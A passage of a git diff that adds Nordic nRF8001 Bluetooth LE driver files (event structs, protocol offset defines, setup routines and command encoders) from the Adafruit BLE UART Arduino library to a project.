ACI_EVT_DATA_RECEIVED event return parameters + */ +typedef struct +{ + aci_rx_data_t rx_data; +} aci_evt_params_data_received_t; + +typedef struct +{ + uint8_t content[1]; +} error_data_t; + +/** + * @struct aci_evt_params_pipe_error_t + * @brief Structure for the ACI_EVT_PIPE_ERROR event return parameters + */ +typedef struct +{ + uint8_t pipe_number; + uint8_t error_code; + union + { + error_data_t error_data; + } params; +} aci_evt_params_pipe_error_t; + +/** + * @struct aci_evt_params_display_passkey_t + * @brief Structure for the ACI_EVT_DISPLAY_PASSKEY event return parameters + */ +typedef struct +{ + uint8_t passkey[6]; +} aci_evt_params_display_passkey_t; + +/** + * @struct aci_evt_params_key_request_t + * @brief Structure for the ACI_EVT_KEY_REQUEST event return parameters + */ +typedef struct +{ + uint8_t key_type; /**< enum aci_key_type_t */ +} aci_evt_params_key_request_t; + +/** + * @struct aci_event_params_echo_t + * @brief Structure for the ACI_EVT_ECHO ACI event parameters + */ +typedef struct +{ + uint8_t echo_data[ACI_ECHO_DATA_MAX_LEN]; +} aci_evt_params_echo_t; + +/** + * @struct aci_evt_t + * @brief Encapsulates a generic ACI event + */ +typedef struct +{ + uint8_t len; + uint8_t evt_opcode; /** enum aci_evt_opcode_t */ + union + { + aci_evt_params_device_started_t device_started; + aci_evt_params_echo_t echo; + aci_evt_params_hw_error_t hw_error; + aci_evt_params_cmd_rsp_t cmd_rsp; + aci_evt_params_connected_t connected; + aci_evt_params_disconnected_t disconnected; + aci_evt_params_bond_status_t bond_status; + aci_evt_params_pipe_status_t pipe_status; + aci_evt_params_timing_t timing; + aci_evt_params_data_credit_t data_credit; + aci_evt_params_data_ack_t data_ack; + aci_evt_params_data_received_t data_received; + aci_evt_params_pipe_error_t pipe_error; + aci_evt_params_display_passkey_t display_passkey; + aci_evt_params_key_request_t key_request; + } params; +} aci_evt_t; + +#endif // ACI_EVTS_H__ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h new file mode 100755 index 0000000..cfa43ec --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h @@ -0,0 +1,178 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. * + * * + * The information contained herein is property of Nordic Semiconductor ASA.* + * Terms and conditions of usage are described in detail in NORDIC * + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. * + * * + * Licensees are granted free, non-transferable use of the information. NO * + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from * + * the file. * + * */ + +/* * + * This file contents defines for the position of all the fields of ACI * + * command or event messages * + * */ + +#ifndef ACI_OFFSET_H__ +#define ACI_OFFSET_H__ + + + #define OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_LSB 0 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_MSB 1 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_LSB 2 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_MSB 3 + #define OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_LSB 4 + #define OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_MSB 5 + #define OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_LSB 6 + #define OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_MSB 7 + #define OFFSET_ACI_TX_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_TX_DATA_T_ACI_DATA 1 + #define OFFSET_ACI_RX_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_RX_DATA_T_ACI_DATA 1 + #define OFFSET_ACI_CMD_PARAMS_TEST_T_TEST_MODE_CHANGE 0 + #define OFFSET_ACI_CMD_PARAMS_ECHO_T_ECHO_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_DTM_CMD_T_CMD_MSB 0 + #define OFFSET_ACI_CMD_PARAMS_DTM_CMD_T_CMD_LSB 1 + #define OFFSET_ACI_CMD_PARAMS_SETUP_T_SETUP_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_SEQ_NO 0 + #define OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA 1 + #define OFFSET_ACI_CMD_PARAMS_SET_LOCAL_DATA_T_TX_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_DISCONNECT_T_REASON 0 + #define OFFSET_ACI_CMD_PARAMS_SET_TX_POWER_T_DEVICE_POWER 0 + #define OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS 0 + #define OFFSET_ACI_CMD_PARAMS_OPEN_REMOTE_PIPE_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_ACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_REQUEST_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_ERROR_CODE 1 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_MODE 0 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_KEY_TYPE 0 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_PASSKEY 1 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_OOB_KEY 1 + #define OFFSET_ACI_CMD_PARAMS_OPEN_ADV_PIPE_T_PIPES 0 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_CLOSE_REMOTE_PIPE_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_T_LEN 0 + #define OFFSET_ACI_CMD_T_CMD_OPCODE 1 + #define OFFSET_ACI_CMD_T_TEST 2 + #define OFFSET_ACI_CMD_T_ECHO 2 + #define OFFSET_ACI_CMD_T_DTM_CMD 2 + #define OFFSET_ACI_CMD_T_SETUP 2 + #define OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA 2 + #define OFFSET_ACI_CMD_T_SET_LOCAL_DATA 2 + #define OFFSET_ACI_CMD_T_CONNECT 2 + #define OFFSET_ACI_CMD_T_BOND 2 + #define OFFSET_ACI_CMD_T_DISCONNECT 2 + #define OFFSET_ACI_CMD_T_SET_TX_POWER 2 + #define OFFSET_ACI_CMD_T_CHANGE_TIMING 2 + #define OFFSET_ACI_CMD_T_OPEN_REMOTE_PIPE 2 + #define OFFSET_ACI_CMD_T_SEND_DATA 2 + #define OFFSET_ACI_CMD_T_SEND_DATA_ACK 2 + #define OFFSET_ACI_CMD_T_REQUEST_DATA 2 + #define OFFSET_ACI_CMD_T_SEND_DATA_NACK 2 + #define OFFSET_ACI_CMD_T_SET_APP_LATENCY 2 + #define OFFSET_ACI_CMD_T_SET_KEY 2 + #define OFFSET_ACI_CMD_T_OPEN_ADV_PIPE 2 + #define OFFSET_ACI_CMD_T_BROADCAST 2 + #define OFFSET_ACI_CMD_T_CLOSE_REMOTE_PIPE 2 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_DEVICE_MODE 0 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_HW_ERROR 1 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_CREDIT_AVAILABLE 2 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_LSB 0 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME 2 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_MSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_LSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_SEQ_NO 0 + #define OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_DYNAMIC_DATA 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_MSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_ACI_VERSION 2 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_FORMAT 3 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB0 4 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB1 5 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB0 6 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB1 7 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_STATUS 8 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_OWN 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_TYPE 6 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_MSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_OPCODE 0 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_STATUS 1 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE 2 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR_TYPE 0 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR 1 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_LSB 7 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_MSB 8 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_LSB 9 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_MSB 10 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_LSB 11 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_MSB 12 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_MASTER_CLOCK_ACCURACY 13 + #define OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_ACI_STATUS 0 + #define OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_BTLE_STATUS 1 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_CODE 0 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_SOURCE 1 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE1_BITMAP 2 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE2_BITMAP 3 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_SLAVE 4 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_MASTER 5 + #define OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_OPEN_BITMAP 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_CLOSED_BITMAP 8 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_LSB 0 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_LSB 2 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_MSB 3 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_LSB 4 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_MSB 5 + #define OFFSET_ACI_EVT_PARAMS_DATA_CREDIT_T_CREDIT 0 + #define OFFSET_ACI_EVT_PARAMS_DATA_ACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_EVT_PARAMS_DATA_RECEIVED_T_RX_DATA 0 + #define OFFSET_ERROR_DATA_T_CONTENT 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_PIPE_NUMBER 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_CODE 1 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA 2 + #define OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY 0 + #define OFFSET_ACI_EVT_PARAMS_KEY_REQUEST_T_KEY_TYPE 0 + #define OFFSET_ACI_EVT_T_LEN 0 + #define OFFSET_ACI_EVT_T_EVT_OPCODE 1 + #define OFFSET_ACI_EVT_T_DEVICE_STARTED 2 + #define OFFSET_ACI_EVT_T_HW_ERROR 2 + #define OFFSET_ACI_EVT_T_CMD_RSP 2 + #define OFFSET_ACI_EVT_T_CONNECTED 2 + #define OFFSET_ACI_EVT_T_DISCONNECTED 2 + #define OFFSET_ACI_EVT_T_BOND_STATUS 2 + #define OFFSET_ACI_EVT_T_PIPE_STATUS 2 + #define OFFSET_ACI_EVT_T_TIMING 2 + #define OFFSET_ACI_EVT_T_DATA_CREDIT 2 + #define OFFSET_ACI_EVT_T_DATA_ACK 2 + #define OFFSET_ACI_EVT_T_DATA_RECEIVED 2 + #define OFFSET_ACI_EVT_T_PIPE_ERROR 2 + #define OFFSET_ACI_EVT_T_DISPLAY_PASSKEY 2 + #define OFFSET_ACI_EVT_T_KEY_REQUEST 2 + +#endif //ACI_OFFSET_H__ + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp new file mode 100755 index 0000000..bbed499 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp @@ -0,0 +1,131 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * My project template + */ + +#include +#include +#include +#include "aci_setup.h" + + +// aci_struct that will contain +// total initial credits +// current credit +// current state of the aci (setup/standby/active/sleep) +// open remote pipe pending +// close remote pipe pending +// Current pipe available bitmap +// Current pipe closed bitmap +// Current connection interval, slave latency and link supervision timeout +// Current State of the the GATT client (Service Discovery status) + +static hal_aci_evt_t aci_data; +static hal_aci_data_t aci_cmd; + +aci_status_code_t aci_setup(aci_state_t *aci_stat, uint8_t num_cmds, uint8_t num_cmd_offset) +{ + uint8_t i = 0; + uint8_t evt_count = 0; + aci_evt_t * aci_evt = NULL; + + while (i < num_cmds) + { + //Copy the setup ACI message from Flash to RAM + //Add 2 bytes to the length byte for status byte, length for the total number of bytes + memcpy_P(&aci_cmd, &(aci_stat->aci_setup_info.setup_msgs[num_cmd_offset+i]), + pgm_read_byte_near(&(aci_stat->aci_setup_info.setup_msgs[num_cmd_offset+i].buffer[0]))+2); + + //Put the Setup ACI message in the command queue + if (!hal_aci_tl_send(&aci_cmd)) + { + Serial.println(F("Cmd Queue Full")); + return ACI_STATUS_ERROR_INTERNAL; + } + else + { + //Debug messages: + //Serial.print(F("Setup msg")); + //Serial.println(i, DEC); + } + + i++; + } + while (1) + { + //We will sit here if we do not get the same number of command response evts as the commands sent to the ACI + // + //@check The setup wil fail in the while(1) below when the 32KHz source for the nRF8001 is in-correct in the setup generated in the nRFgo studio + if (true == lib_aci_event_get(aci_stat, &aci_data)) + { + aci_evt = &aci_data.evt; + + evt_count++; + + if (ACI_EVT_CMD_RSP != aci_evt->evt_opcode ) + { + //Got something other than a command response evt -> Error + return ACI_STATUS_ERROR_INTERNAL; + } + + if (!((ACI_STATUS_TRANSACTION_CONTINUE == aci_evt->params.cmd_rsp.cmd_status) || + (ACI_STATUS_TRANSACTION_COMPLETE == aci_evt->params.cmd_rsp.cmd_status))) + { + return (aci_status_code_t )aci_evt->params.cmd_rsp.cmd_status; + } + else + { + //Serial.print(F("Cmd Response Evt ")); + //Serial.println(evt_count); + } + + if (num_cmds == evt_count) + { + break; + } + } + } + + return ((aci_status_code_t)aci_evt->params.cmd_rsp.cmd_status); +} + + +aci_status_code_t do_aci_setup(aci_state_t *aci_stat) +{ + aci_status_code_t status = ACI_STATUS_ERROR_CRC_MISMATCH; + uint8_t i=0; + + if(ACI_QUEUE_SIZE >= aci_stat->aci_setup_info.num_setup_msgs) + { + status = aci_setup(aci_stat, aci_stat->aci_setup_info.num_setup_msgs, 0); + } + else + { + for(i=0; i<(aci_stat->aci_setup_info.num_setup_msgs/ACI_QUEUE_SIZE); i++) + { + //Serial.print(ACI_QUEUE_SIZE, DEC); + //Serial.print(F(" ")); + //Serial.println(0+(ACI_QUEUE_SIZE*i), DEC); + status = aci_setup(aci_stat, ACI_QUEUE_SIZE, (ACI_QUEUE_SIZE*i)); + } + if ((aci_stat->aci_setup_info.num_setup_msgs % ACI_QUEUE_SIZE) != 0) + { + status = aci_setup(aci_stat, aci_stat->aci_setup_info.num_setup_msgs % ACI_QUEUE_SIZE, (ACI_QUEUE_SIZE*i)); + } + } + + return status; +} + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h new file mode 100755 index 0000000..8c9aaa5 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h @@ -0,0 +1,12 @@ +#ifndef H_ACI_SETUP +#define H_ACI_SETUP + +#define ACI_CMD_Q_SIZE 16 + +/** +Do the ACI setup by sending the setup messages generated by the nRFgo studio to the nRF8001. +After all the setup messages are sent. The nRF8001 will send a Device Started Event (Mode = STANDBY) +*/ +aci_status_code_t do_aci_setup(aci_state_t *aci_stat); + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp new file mode 100755 index 0000000..3e702c2 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp @@ -0,0 +1,602 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Implementation of the acilib module. + */ + + +#include "hal_platform.h" +#include "aci.h" +#include "aci_cmds.h" +#include "aci_evts.h" +#include "acilib.h" +#include "aci_protocol_defines.h" +#include "acilib_defs.h" +#include "acilib_if.h" +#include "acilib_types.h" + + +void acil_encode_cmd_set_test_mode(uint8_t *buffer, aci_cmd_params_test_t *p_aci_cmd_params_test) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 2; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_TEST; + *(buffer + OFFSET_ACI_CMD_T_TEST + OFFSET_ACI_CMD_PARAMS_TEST_T_TEST_MODE_CHANGE) = p_aci_cmd_params_test->test_mode_change; +} + +void acil_encode_cmd_sleep(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SLEEP; +} + +void acil_encode_cmd_get_device_version(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_DEVICE_VERSION; +} + +void acil_encode_cmd_set_local_data(uint8_t *buffer, aci_cmd_params_set_local_data_t *p_aci_cmd_params_set_local_data, uint8_t data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_LOCAL_DATA_BASE_LEN + data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_LOCAL_DATA; + *(buffer + OFFSET_ACI_CMD_T_SET_LOCAL_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_set_local_data->tx_data.pipe_number; + memcpy(buffer + OFFSET_ACI_CMD_T_SET_LOCAL_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_ACI_DATA, &(p_aci_cmd_params_set_local_data->tx_data.aci_data[0]), data_size); +} + +void acil_encode_cmd_connect(uint8_t *buffer, aci_cmd_params_connect_t *p_aci_cmd_params_connect) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CONNECT; + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_connect->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_LSB) = (uint8_t)(p_aci_cmd_params_connect->timeout); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_connect->adv_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_connect->adv_interval); +} + +void acil_encode_cmd_bond(uint8_t *buffer, aci_cmd_params_bond_t *p_aci_cmd_params_bond) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BOND_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BOND; + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_bond->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_LSB) = (uint8_t)(p_aci_cmd_params_bond->timeout); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_bond->adv_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_bond->adv_interval); +} + +void acil_encode_cmd_disconnect(uint8_t *buffer, aci_cmd_params_disconnect_t *p_aci_cmd_params_disconnect) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DISCONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_DISCONNECT; + *(buffer + OFFSET_ACI_CMD_T_DISCONNECT + OFFSET_ACI_CMD_PARAMS_DISCONNECT_T_REASON) = (uint8_t)(p_aci_cmd_params_disconnect->reason); +} + +void acil_encode_baseband_reset(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BASEBAND_RESET_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_RADIO_RESET; +} + +void acil_encode_direct_connect(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DIRECT_CONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CONNECT_DIRECT; +} + +void acil_encode_cmd_wakeup(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_WAKEUP_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_WAKEUP; +} + +void acil_encode_cmd_set_radio_tx_power(uint8_t *buffer, aci_cmd_params_set_tx_power_t *p_aci_cmd_params_set_tx_power) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_RADIO_TX_POWER_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_TX_POWER; + *(buffer + OFFSET_ACI_CMD_T_SET_TX_POWER + OFFSET_ACI_CMD_PARAMS_SET_TX_POWER_T_DEVICE_POWER) = (uint8_t)p_aci_cmd_params_set_tx_power->device_power; +} + +void acil_encode_cmd_get_address(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_GET_DEVICE_ADDR_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_DEVICE_ADDRESS; +} + +void acil_encode_cmd_send_data(uint8_t *buffer, aci_cmd_params_send_data_t *p_aci_cmd_params_send_data_t, uint8_t data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SEND_DATA_BASE_LEN + data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_send_data_t->tx_data.pipe_number; + memcpy((buffer + OFFSET_ACI_CMD_T_SEND_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_ACI_DATA), &(p_aci_cmd_params_send_data_t->tx_data.aci_data[0]), data_size); +} + +void acil_encode_cmd_request_data(uint8_t *buffer, aci_cmd_params_request_data_t *p_aci_cmd_params_request_data) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DATA_REQUEST_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_REQUEST_DATA; + *(buffer + OFFSET_ACI_CMD_T_REQUEST_DATA + OFFSET_ACI_CMD_PARAMS_REQUEST_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_request_data->pipe_number; +} + +void acil_encode_cmd_open_remote_pipe(uint8_t *buffer, aci_cmd_params_open_remote_pipe_t *p_aci_cmd_params_open_remote_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 